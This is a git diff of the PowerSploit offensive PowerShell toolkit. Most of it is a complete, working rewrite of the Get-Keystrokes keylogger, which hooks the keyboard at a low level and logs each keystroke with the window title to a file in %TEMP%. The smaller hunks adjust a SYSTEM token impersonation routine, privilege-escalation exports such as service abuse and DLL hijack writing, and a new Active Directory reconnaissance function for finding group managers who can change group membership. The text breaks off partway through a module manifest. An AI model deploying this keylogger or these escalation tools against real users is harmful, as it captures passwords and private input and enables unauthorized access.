diff options
| -rw-r--r-- | Exfiltration/Get-Keystrokes.ps1 | 528 | ||||
| -rw-r--r-- | Exfiltration/Invoke-TokenManipulation.ps1 | 3 | ||||
| -rw-r--r-- | PowerSploit.psd1 | 1 | ||||
| -rw-r--r-- | Privesc/Privesc.psd1 | 26 | ||||
| -rw-r--r-- | Recon/PowerView.ps1 | 71 | ||||
| -rw-r--r-- | Recon/README.md | 2 | ||||
| -rw-r--r-- | Recon/Recon.psd1 | 101 | ||||
| -rw-r--r-- | Tests/Exfiltration.tests.ps1 | 54 |
8 files changed, 516 insertions, 270 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index d040589..47761b9 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -1,11 +1,12 @@ function Get-Keystrokes { <# .SYNOPSIS - + Logs keys pressed, time and the active window. PowerSploit Function: Get-Keystrokes - Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) + Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) + Revised By: Jesse Davis (@secabstraction) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None @@ -14,13 +15,13 @@ function Get-Keystrokes { Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log. -.PARAMETER CollectionInterval +.PARAMETER Timeout Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely. -.PARAMETER PollingInterval +.PARAMETER PassThru - Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds. + Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes. .EXAMPLE @@ -28,234 +29,349 @@ function Get-Keystrokes { .EXAMPLE - Get-Keystrokes -CollectionInterval 20 - -.EXAMPLE - - Get-Keystrokes -PollingInterval 35 - + Get-Keystrokes -Timeout 20 + .LINK http://www.obscuresec.com/ http://www.exploit-monday.com/ + https://github.com/secabstraction #> - [CmdletBinding()] Param ( + [CmdletBinding()] + Param ( [Parameter(Position = 0)] - [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})] - [String] - $LogPath = "$($Env:TEMP)\key.log", + [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})] + [String]$LogPath = "$($env:TEMP)\key.log", [Parameter(Position = 1)] - [UInt32] - $CollectionInterval, + [Double]$Timeout, - [Parameter(Position = 2)] - [Int32] - $PollingInterval = 40 + [Parameter()] + [Switch]$PassThru ) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) - Write-Verbose "Logging keystrokes to $LogPath" + try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode } + catch { throw $_ } + + $Script = { + Param ( + [Parameter(Position = 0)] + [String]$LogPath, + + [Parameter(Position = 1)] + [Double]$Timeout + ) + + function local:Get-DelegateType { + Param ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + $TypeBuilder.CreateType() + } + function local:Get-ProcAddress { + Param ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } - $Initilizer = { - $LogPath = 'REPLACEME' + #region Imports + + [void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') + + # SetWindowsHookEx + $SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA + $SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr]) + $SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate) + + # CallNextHookEx + $CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx + $CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr]) + $CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate) + + # UnhookWindowsHookEx + $UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx + $UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void]) + $UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate) + + # PeekMessage + $PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA + $PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void]) + $PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate) + + # GetAsyncKeyState + $GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState + $GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16]) + $GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate) + + # GetForegroundWindow + $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow + $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr]) + $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate) + + # GetWindowText + $GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA + $GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void]) + $GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate) + + # GetModuleHandle + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + + #endregion Imports - '"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode + $CallbackScript = { + Param ( + [Parameter()] + [Int32]$Code, - function KeyLog { - [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null + [Parameter()] + [IntPtr]$wParam, - try - { - $ImportDll = [User32] - } - catch - { - $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False) - $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class') - - $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) - $FieldArray = [Reflection.FieldInfo[]] @( - [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), - [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'), - [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'), - [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'), - [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'), - [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') - ) - - $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys])) - $FieldValueArray = [Object[]] @( - 'GetAsyncKeyState', - $True, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]])) - $FieldValueArray = [Object[]] @( - 'GetKeyboardState', - $True, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32])) - $FieldValueArray = [Object[]] @( - 'MapVirtualKey', - $False, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32], - [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32])) - $FieldValueArray = [Object[]] @( - 'ToUnicode', - $False, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @()) - $FieldValueArray = [Object[]] @( - 'GetForegroundWindow', - $True, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $ImportDll = $TypeBuilder.CreateType() - } + [Parameter()] + [IntPtr]$lParam + ) + + $Keys = [Windows.Forms.Keys] + + $MsgType = $wParam.ToInt32() + + # Process WM_KEYDOWN & WM_SYSKEYDOWN messages + if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) { + + $hWindow = $GetForegroundWindow.Invoke() - Start-Sleep -Milliseconds $PollingInterval - - try - { - - #loop through typeable characters to see which is pressed - for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++) - { - $VirtualKey = $TypeableChar - $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey) - - #if the key is pressed - if (($KeyResult -band 0x8000) -eq 0x8000) - { - - #check for keys not mapped by virtual keyboard - $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000 - $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000 - $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000 - $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000 - $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000 - $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000 - $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000 - $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000 - $DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000 - $EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000 - $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000 - $LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000 - $RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000 - $UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000 - $DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000 - $LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000 - $RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000 - - if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'} - if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'} - if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'} - if ($TabKey) {$LogOutput += '[Tab]'} - if ($SpaceBar) {$LogOutput += '[SpaceBar]'} - if ($DeleteKey) {$LogOutput += '[Delete]'} - if ($EnterKey) {$LogOutput += '[Enter]'} - if ($BackSpaceKey) {$LogOutput += '[Backspace]'} - if ($LeftArrow) {$LogOutput += '[Left Arrow]'} - if ($RightArrow) {$LogOutput += '[Right Arrow]'} - if ($UpArrow) {$LogOutput += '[Up Arrow]'} - if ($DownArrow) {$LogOutput += '[Down Arrow]'} - if ($LeftMouse) {$LogOutput += '[Left Mouse]'} - if ($RightMouse) {$LogOutput += '[Right Mouse]'} - - #check for capslock - if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'} - - $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3) - $KeyboardState = New-Object Byte[] 256 - $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState) - - #create a stringbuilder object - $StringBuilder = New-Object -TypeName System.Text.StringBuilder; - $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0) - - #convert typed characters - if ($UnicodeKey -gt 0) { - $TypedCharacter = $StringBuilder.ToString() - $LogOutput += ('['+ $TypedCharacter +']') - } - - #get the title of the foreground window - $TopWindow = $ImportDll::GetForegroundWindow() - $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle - - #get the current DTG - $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) - - #Create a custom object to store results - $ObjectProperties = @{'Key Typed' = $LogOutput; - 'Time' = $TimeStamp; - 'Window Title' = $WindowTitle} - $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties - - # Stupid hack since Export-CSV doesn't have an append switch in PSv2 - $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1] - - #return results - Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode + $ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey) + if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true } + else { $Shift = $false } + $Caps = [Console]::CapsLock + + # Read virtual-key from buffer + $vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam) + + # Parse virtual-key + if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters + if ($Shift -xor $Caps) { $Key = $vKey.ToString() } + else { $Key = $vKey.ToString().ToLower() } + } + elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters + switch ($vKey.value__) { + 96 { $Key = '0' } + 97 { $Key = '1' } + 98 { $Key = '2' } + 99 { $Key = '3' } + 100 { $Key = '4' } + 101 { $Key = '5' } + 102 { $Key = '6' } + 103 { $Key = '7' } + 104 { $Key = '8' } + 105 { $Key = '9' } + 106 { $Key = "*" } + 107 { $Key = "+" } + 108 { $Key = "|" } + 109 { $Key = "-" } + 110 { $Key = "." } + 111 { $Key = "/" } + } + } + elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) { + if ($Shift) { + switch ($vKey.value__) { # Shiftable characters + 48 { $Key = ')' } + 49 { $Key = '!' } + 50 { $Key = '@' } + 51 { $Key = '#' } + 52 { $Key = '$' } + 53 { $Key = '%' } + 54 { $Key = '^' } + 55 { $Key = '&' } + 56 { $Key = '*' } + 57 { $Key = '(' } + 186 { $Key = ':' } + 187 { $Key = '+' } + 188 { $Key = '<' } + 189 { $Key = '_' } + 190 { $Key = '>' } + 191 { $Key = '?' } + 192 { $Key = '~' } + 219 { $Key = '{' } + 220 { $Key = '|' } + 221 { $Key = '}' } + 222 { $Key = '<Double Quotes>' } + } + } + else { + switch ($vKey.value__) { + 48 { $Key = '0' } + 49 { $Key = '1' } + 50 { $Key = '2' } + 51 { $Key = '3' } + 52 { $Key = '4' } + 53 { $Key = '5' } + 54 { $Key = '6' } + 55 { $Key = '7' } + 56 { $Key = '8' } + 57 { $Key = '9' } + 186 { $Key = ';' } + 187 { $Key = '=' } + 188 { $Key = ',' } + 189 { $Key = '-' } + 190 { $Key = '.' } + 191 { $Key = '/' } + 192 { $Key = '`' } + 219 { $Key = '[' } + 220 { $Key = '\' } + 221 { $Key = ']' } + 222 { $Key = '<Single Quote>' } } } } - catch {} + else { + switch ($vKey) { + $Keys::F1 { $Key = '<F1>' } + $Keys::F2 { $Key = '<F2>' } + $Keys::F3 { $Key = '<F3>' } + $Keys::F4 { $Key = '<F4>' } + $Keys::F5 { $Key = '<F5>' } + $Keys::F6 { $Key = '<F6>' } + $Keys::F7 { $Key = '<F7>' } + $Keys::F8 { $Key = '<F8>' } + $Keys::F9 { $Key = '<F9>' } + $Keys::F10 { $Key = '<F10>' } + $Keys::F11 { $Key = '<F11>' } + $Keys::F12 { $Key = '<F12>' } + + $Keys::Snapshot { $Key = '<Print Screen>' } + $Keys::Scroll { $Key = '<Scroll Lock>' } + $Keys::Pause { $Key = '<Pause/Break>' } + $Keys::Insert { $Key = '<Insert>' } + $Keys::Home { $Key = '<Home>' } + $Keys::Delete { $Key = '<Delete>' } + $Keys::End { $Key = '<End>' } + $Keys::Prior { $Key = '<Page Up>' } + $Keys::Next { $Key = '<Page Down>' } + $Keys::Escape { $Key = '<Esc>' } + $Keys::NumLock { $Key = '<Num Lock>' } + $Keys::Capital { $Key = '<Caps Lock>' } + $Keys::Tab { $Key = '<Tab>' } + $Keys::Back { $Key = '<Backspace>' } + $Keys::Enter { $Key = '<Enter>' } + $Keys::Space { $Key = '< >' } + $Keys::Left { $Key = '<Left>' } + $Keys::Up { $Key = '<Up>' } + $Keys::Right { $Key = '<Right>' } + $Keys::Down { $Key = '<Down>' } + $Keys::LMenu { $Key = '<Alt>' } + $Keys::RMenu { $Key = '<Alt>' } + $Keys::LWin { $Key = '<Windows Key>' } + $Keys::RWin { $Key = '<Windows Key>' } + $Keys::LShiftKey { $Key = '<Shift>' } + $Keys::RShiftKey { $Key = '<Shift>' } + $Keys::LControlKey { $Key = '<Ctrl>' } + $Keys::RControlKey { $Key = '<Ctrl>' } + } + } + + # Get foreground window's title + $Title = New-Object Text.Stringbuilder 256 + $GetWindowText.Invoke($hWindow, $Title, $Title.Capacity) + + # Define object properties + $Props = @{ + Key = $Key + Time = [DateTime]::Now + Window = $Title.ToString() + } + + $obj = New-Object psobject -Property $Props + + # Stupid hack since Export-CSV doesn't have an append switch in PSv2 + $CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1] + + #return results + Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode } + return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam) } - $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath)) + # Cast scriptblock as LowLevelKeyboardProc callback + $Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr]) + $Callback = $CallbackScript -as $Delegate + + # Get handle to PowerShell for hook + $PoshModule = (Get-Process -Id $PID).MainModule.ModuleName + $ModuleHandle = $GetModuleHandle.Invoke($PoshModule) - Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null + # Set WM_KEYBOARD_LL hook + $Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0) + + $Stopwatch = [Diagnostics.Stopwatch]::StartNew() - if ($PSBoundParameters['CollectionInterval']) - { - $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000) + while ($true) { + if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break } + $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0) + Start-Sleep -Milliseconds 10 + } - Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action { - Stop-Job -Name Keylogger - Unregister-Event -SourceIdentifier ElapsedAction - $Sender.Stop() - } | Out-Null + $Stopwatch.Stop() + + # Remove the hook + $UnhookWindowsHookEx.Invoke($Hook) } -} + # Setup KeyLogger's runspace + $PowerShell = [PowerShell]::Create() + [void]$PowerShell.AddScript($Script) + [void]$PowerShell.AddArgument($LogPath) + if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) } + + # Start KeyLogger + [void]$PowerShell.BeginInvoke() + + if ($PassThru.IsPresent) { return $PowerShell } +}
\ No newline at end of file diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index 3a61da8..ea30952 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -1685,7 +1685,8 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges. #We need to enumrate all processes running as SYSTEM and find one that we can use. - $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq "NT AUTHORITY\SYSTEM"} + [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq $LocalSystemNTAccount} ForEach ($SystemToken in $SystemTokens) { $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index bc482e1..492b846 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -38,6 +38,7 @@ FunctionsToExport = @( 'Find-GPOLocation', 'Find-InterestingFile', 'Find-LocalAdminAccess', + 'Find-ManagedSecurityGroups', 'Find-PathHijack', 'Find-UserField', 'Get-ADObject', diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index 34ebf7b..2ccdb8e 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -23,26 +23,26 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( - 'Get-ServiceUnquoted', - 'Get-ServiceFilePermission', - 'Get-ServicePermission', - 'Get-ServiceDetail', - 'Invoke-ServiceAbuse', - 'Write-ServiceBinary', - 'Install-ServiceBinary', - 'Restore-ServiceBinary', 'Find-DLLHijack', 'Find-PathHijack', - 'Write-HijackDll', + 'Get-ApplicationHost', 'Get-RegAlwaysInstallElevated', 'Get-RegAutoLogon', + 'Get-ServiceDetail', + 'Get-ServiceFilePermission', + 'Get-ServicePermission', + 'Get-ServiceUnquoted', + 'Get-UnattendedInstallFile', 'Get-VulnAutoRun', 'Get-VulnSchTask', - 'Get-UnattendedInstallFile', 'Get-Webconfig', - 'Get-ApplicationHost', - 'Write-UserAddMSI', - 'Invoke-AllChecks' + 'Install-ServiceBinary', + 'Invoke-AllChecks', + 'Invoke-ServiceAbuse', + 'Restore-ServiceBinary', + 'Write-HijackDll', + 'Write-ServiceBinary', + 'Write-UserAddMSI' ) # List of all files packaged with this module diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 57a5789..c38943d 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -11101,6 +11101,77 @@ function Find-ForeignGroup { } } +function Find-ManagedSecurityGroups { +<# + .SYNOPSIS + + This function retrieves all security groups in the domain and identifies ones that + have a manager set. It also determines whether the manager has the ability to add + or remove members from the group. + + Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com> + License: BSD 3-Clause + + .EXAMPLE + + PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv + + Store a list of all security groups with managers in group-managers.csv + + .DESCRIPTION + + Authority to manipulate the group membership of AD security groups and distribution groups + can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically + used to delegate management authority to distribution groups, but Windows supports security groups + being managed in the same way. + + This function searches for AD groups which have a group manager set, and determines whether that + user can manipulate group membership. This could be a useful method of horizontal privilege + escalation, especially if the manager can manipulate the membership of a privileged group. + + .LINK + + https://github.com/PowerShellEmpire/Empire/pull/119 + +#> + + # Go through the list of security groups on the domain and identify those who have a manager + Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | Foreach-Object { + + # Retrieve the object that the managedBy DN refers to + $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname + + # Create a results object to store our findings + $results_object = New-Object -TypeName PSObject -Property @{ + 'GroupCN' = $_.cn + 'GroupDN' = $_.distinguishedname + 'ManagerCN' = $group_manager.cn + 'ManagerDN' = $group_manager.distinguishedName + 'ManagerSAN' = $group_manager.samaccountname + 'ManagerType' = '' + 'CanManagerWrite' = $FALSE + } + + # Determine whether the manager is a user or a group + if ($group_manager.samaccounttype -eq 0x10000000) { + $results_object.ManagerType = 'Group' + } elseif ($group_manager.samaccounttype -eq 0x30000000) { + $results_object.ManagerType = 'User' + } + + # Find the ACLs that relate to the ability to write to the group + $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers + + # Double-check that the manager + if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) { + $results_object.CanManagerWrite = $TRUE + } + + $results_object + + } + +} function Invoke-MapDomainTrust { <# diff --git a/Recon/README.md b/Recon/README.md index d992798..6e28a30 100644 --- a/Recon/README.md +++ b/Recon/README.md @@ -120,6 +120,8 @@ an array of hosts from the pipeline. Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain
Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain
Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to
+ Find-ManagedSecurityGroups - searches for active directory security groups which are managed and identify users who have write access to
+ - those groups (i.e. the ability to add or remove members)
Find-UserField - searches a user field for a particular term
Find-ComputerField - searches a computer field for a particular term
Get-ExploitableSystem - finds systems likely vulnerable to common exploits
diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 55f19f7..e82cd97 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -23,70 +23,71 @@ PowerShellVersion = '2.0' # Functions to export from this module
FunctionsToExport = @(
- 'Get-ComputerDetails',
- 'Get-HttpStatus',
- 'Invoke-Portscan',
- 'Invoke-ReverseDnsLookup',
- 'Set-MacAttribute',
- 'Copy-ClonedFile',
